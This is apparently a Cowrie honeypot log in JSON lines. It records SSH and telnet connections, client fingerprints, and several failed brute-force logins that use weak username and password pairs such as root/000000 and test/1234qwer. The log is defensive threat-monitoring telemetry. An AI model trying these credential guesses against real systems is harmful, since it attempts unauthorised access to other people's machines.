{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53194,"dst_ip":"10.17.0.5","dst_port":23,"session":"95d42b2888b9","protocol":"telnet","message":"New connection: 152.42.224.71:53194 (10.17.0.5:23) [session: 95d42b2888b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:47.686581Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c519891ab97","protocol":"telnet","message":"New connection: 152.42.224.71:53186 (10.17.0.5:23) [session: 5c519891ab97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:48.108580Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73318e27571","protocol":"ssh","message":"New connection: 31.40.204.166:51510 (159.203.135.109:22) [session: c73318e27571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:48.406354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:48.689569Z","src_ip":"31.40.204.166","session":"c73318e27571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:48.693717Z","src_ip":"31.40.204.166","session":"c73318e27571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:49.391678Z","src_ip":"31.40.204.166","session":"c73318e27571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59574,"dst_ip":"159.203.135.109","dst_port":22,"session":"129c30d8df4d","protocol":"ssh","message":"New connection: 51.250.105.222:59574 (159.203.135.109:22) [session: 129c30d8df4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:50.022131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:50.029586Z","src_ip":"51.250.105.222","session":"129c30d8df4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:50.155374Z","src_ip":"51.250.105.222","session":"129c30d8df4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:50.524279Z","src_ip":"31.40.204.166","session":"c73318e27571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololo","message":"login attempt [root/lololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:50.557747Z","src_ip":"51.250.105.222","session":"129c30d8df4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:51.686439Z","src_ip":"51.250.105.222","session":"129c30d8df4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.55066728591919,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:56.200861Z","src_ip":"152.42.224.71","session":"df8f027f83aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.91003966331482,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:56.541303Z","src_ip":"152.42.224.71","session":"1b0b65c1604d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33734,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76cae46d9c5","protocol":"ssh","message":"New connection: 31.40.204.166:33734 (159.203.135.109:22) [session: c76cae46d9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:00.084017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:00.092493Z","src_ip":"31.40.204.166","session":"c76cae46d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:00.282408Z","src_ip":"31.40.204.166","session":"c76cae46d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:00.882418Z","src_ip":"31.40.204.166","session":"c76cae46d9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:02.012744Z","src_ip":"31.40.204.166","session":"c76cae46d9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60734,"dst_ip":"10.17.0.5","dst_port":23,"session":"c67047288927","protocol":"telnet","message":"New connection: 152.42.224.71:60734 (10.17.0.5:23) [session: c67047288927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:07.067282Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"580a2ff3093f","protocol":"telnet","message":"New connection: 152.42.224.71:60736 (10.17.0.5:23) [session: 580a2ff3093f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:08.060557Z"}
{"eventid":"cowrie.session.closed","duration":52.869505643844604,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:08.937650Z","src_ip":"152.42.224.71","session":"52f1d9a88cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00242233276367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:10.408980Z","src_ip":"152.42.224.71","session":"f6ce4a2007ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a79441e10a39","protocol":"ssh","message":"New connection: 31.40.204.166:54666 (159.203.135.109:22) [session: a79441e10a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:11.023075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:11.028354Z","src_ip":"31.40.204.166","session":"a79441e10a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:11.196907Z","src_ip":"31.40.204.166","session":"a79441e10a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:11.624434Z","src_ip":"31.40.204.166","session":"a79441e10a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.055359840393066,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:11.812273Z","src_ip":"152.42.224.71","session":"6d992f0c6d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:12.793305Z","src_ip":"31.40.204.166","session":"a79441e10a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc0a1c7fbb7","protocol":"telnet","message":"New connection: 152.42.224.71:60750 (10.17.0.5:23) [session: 2fc0a1c7fbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:15.615760Z"}
{"eventid":"cowrie.session.closed","duration":28.770528554916382,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:16.878979Z","src_ip":"152.42.224.71","session":"5c519891ab97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.90375304222107,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:17.590233Z","src_ip":"152.42.224.71","session":"95d42b2888b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56184,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e1f9d58159","protocol":"ssh","message":"New connection: 31.40.204.166:56184 (159.203.135.109:22) [session: e3e1f9d58159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:22.882804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:22.991864Z","src_ip":"31.40.204.166","session":"e3e1f9d58159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:23.020437Z","src_ip":"31.40.204.166","session":"e3e1f9d58159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:23.626349Z","src_ip":"31.40.204.166","session":"e3e1f9d58159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:24.800278Z","src_ip":"31.40.204.166","session":"e3e1f9d58159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54122,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97787534c94","protocol":"telnet","message":"New connection: 152.42.224.71:54122 (10.17.0.5:23) [session: c97787534c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:26.236094Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54126,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f48df21abd","protocol":"telnet","message":"New connection: 152.42.224.71:54126 (10.17.0.5:23) [session: e1f48df21abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:27.192379Z"}
{"eventid":"cowrie.session.closed","duration":54.949684619903564,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:27.345981Z","src_ip":"152.42.224.71","session":"8e1644866309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39d6135ba59","protocol":"telnet","message":"New connection: 152.42.224.71:54132 (10.17.0.5:23) [session: b39d6135ba59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:28.040691Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35940,"dst_ip":"159.203.135.109","dst_port":22,"session":"110695bd27a5","protocol":"ssh","message":"New connection: 31.40.204.166:35940 (159.203.135.109:22) [session: 110695bd27a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:34.717286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:34.722481Z","src_ip":"31.40.204.166","session":"110695bd27a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:34.899088Z","src_ip":"31.40.204.166","session":"110695bd27a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:35.386845Z","src_ip":"31.40.204.166","session":"110695bd27a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:36.709637Z","src_ip":"31.40.204.166","session":"110695bd27a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":47556,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71cffcfa2fa","protocol":"ssh","message":"New connection: 179.176.210.17:47556 (10.17.0.5:22) [session: e71cffcfa2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:38.965909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:38.970795Z","src_ip":"179.176.210.17","session":"e71cffcfa2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:39.111285Z","src_ip":"179.176.210.17","session":"e71cffcfa2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39729595184326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:37:39.464483Z","src_ip":"152.42.224.71","session":"c67047288927","protocol":"telnet"}
